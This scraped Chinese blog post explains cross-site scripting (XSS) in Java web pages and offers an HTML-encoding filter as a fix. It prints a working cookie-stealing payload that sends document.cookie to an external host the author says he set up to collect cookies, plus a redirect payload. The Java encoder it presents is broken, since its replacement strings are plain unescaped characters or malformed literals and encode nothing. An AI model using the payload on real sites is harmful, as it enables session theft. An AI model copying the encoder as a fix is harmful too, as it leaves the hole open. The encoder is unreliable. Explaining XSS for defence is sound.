VBA ISP outlook Pure CSS vue优势 pmp视频 jquery使用ajax art神经网络 matlab复数求模 spark大数据处理技术 solr索引 hash怎么下载 less比较级 windows杀进程命令 完美解决cpu利用率低 linuxmysql启动命令 kubernetes视频教程 pythonlist python3基础教程 python如何调用函数 javatrim java数据结构 如何安装java环境 java中的数据结构 java接口的修饰符 java连接mysql的jar包 java网课 linuxcat命令 linuxsleep linux系统教程 登录界面html tabletpc 狮子狗出装 js删除数组指定元素 微信砍价活动怎么做 流程图工具 电脑待机费电吗 winsxs可以删除吗 codeblock 暴力猴
当前位置: 首页 > 学习教程  > 编程学习

Java xss攻击(跨站脚本攻击)

2021/1/9 2:02:41 文章标签: 跨站攻击

发现问题 最近我们的服务器频繁的遭到黑客攻击,真是让人头疼啊,痛定思痛,仔细想想为什么我们会被攻击呢,肯定是我们的代码有漏洞啊,那么我们如何检测我们站点的漏洞呢,首先比较大众的就是通过360网站安全检…

  发现问题

最近我们的服务器频繁的遭到黑客攻击,真是让人头疼啊,痛定思痛,仔细想想为什么我们会被攻击呢,肯定是我们的代码有漏洞啊,那么我们如何检测我们站点的漏洞呢,首先比较大众的就是通过360网站安全检测(http://webscan.360.cn/),但是发现这个太简单了,不够专业,那么我们再来一个专业的Acunetix Web Vulnerability Scanner,这个软件是收费的,但是我是一个穷人所以就不买了,请原谅。如果你也很穷请到这里下载试用,链接: http://pan.baidu.com/s/1qWr1maC 密码: bvon。
扫描后,发现站点存在的主要漏洞XSS CSS Cross SiteScript,XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。XSS攻击类似于SQL注入攻击。看来危害挺大,我们必须修补下了。那么如何修补呢,首先我们的知道他是如何攻击的:


<%@ page language="java"contentType="text/html; charset=UTF-8"pageEncoding="UTF-8"%>
<!DOCTYPEhtmlPUBLIC"-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd">
<html>
    <head>
       <title>XSS测试</title>
    </head>
    <body>
       页面内容:<input type="text" name="age" value="">
    </body>
</html>
我们直接输入<script>window.open(“www.jwdstef.com?param=”+document.cookie)</script>,当用户查看这个页面的时候,就会请求www.jwdstef.com这个站点,这个站点是我自己搭建的专门用来收集用户cookie的,这样我就盗取了用户的cookie。

修补xss


我们知道如何攻击,就可以想办法修补了,我们首先要过滤特殊字符如:<>"",‘’ 空格等,这种方法我们叫他Html encode

less-than character (<)

&lt;

greater-than character (>)

&gt;

ampersand character (&)

&amp;

double-quote character (")

&quot;

space character( )

&nbsp;

Any ASCII code character whose code is greater-than or equal to 0x80

&#<number>, where <number> is the ASCII character value.

比如用户输入:<script>window.location.href=”http://www.jwdstef.com”;</script>,保存后最终存储的会是:&lt;script&gt;window.location.href=&quot;http://www.jwdstef.com&quot;&lt;/script&gt;在展现时浏览器会对这些字符转换成文本内容显示,而不是一段可执行的代码。

html encode实现方法比较简单,可以通过过滤器来实现,不论你项目使用的什么框架(servlet,struts2,springmvc)我们都可以通过filter来实现。

private static String htmlEncode(char c) {
    switch(c) {
       case '&':
           return"&";
       case '<':
           return"<";
       case '>':
           return">";
       case '"':
           return""";
       case ' ':
           return" ";
       default:
           return c +"";
    }
}
 
/** 对传入的字符串str进行Html encode转换 */
public static String htmlEncode(String str) {
    if(str ==null || str.trim().equals(""))   return str;
    StringBuilder encodeStrBuilder = new StringBuilder();
    for (int i = 0, len = str.length(); i < len; i++) {
       encodeStrBuilder.append(htmlEncode(str.charAt(i)));
    }
    return encodeStrBuilder.toString();
}
这种方法不够优雅,为什么这么说呢,因为我们把他转了后,页面上还得用 fn:excapeXml("fff")转回来,麻烦,那我们来一个碉堡的方法,

特殊字符全部转为全角特殊字符(Java 全角半角转换)。。。。哈哈,这样前台也不用转了,这个方法仔细想想确实够优雅。。。。。


这样我们也以最少的工作量完成了漏洞的修补。。为了防止黑客再次利用其他方法攻击我们的站点,我们不得不请来了大师为我们的代码和服务器开光


而且经过这次教训我们也强制要求代码的前面必须加上

// 
//                                  _oo8oo_
//                                 o8888888o
//                                 88" . "88
//                                 (| -_- |)
//                                 0\  =  /0
//                               ___/'==='\___
//                             .' \\|     |// '.
//                            / \\|||  :  |||// \
//                           / _||||| -:- |||||_ \
//                          |   | \\\  -  /// |   |
//                          | \_|  ''\---/''  |_/ |
//                          \  .-\__  '-'  __/-.  /
//                        ___'. .'  /--.--\  '. .'___
//                     ."" '<  '.___\_<|>_/___.'  >' "".
//                    | | :  `- \`.:`\ _ /`:.`/ -`  : | |
//                    \  \ `-.   \_ __\ /__ _/   .-` /  /
//                =====`-.____`.___ \_____/ ___.`____.-`=====
//                                  `=---=`
// 
// 
//               ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
//
//                          佛祖保佑         永不宕机/永无bug

哈哈,后面的都是开玩笑的,大家别当真。





本文链接: http://www.dtmao.cc/news_show_1100236.shtml

附件下载

相关教程

    暂无相关的数据...

共有条评论 网友评论

验证码: 看不清楚?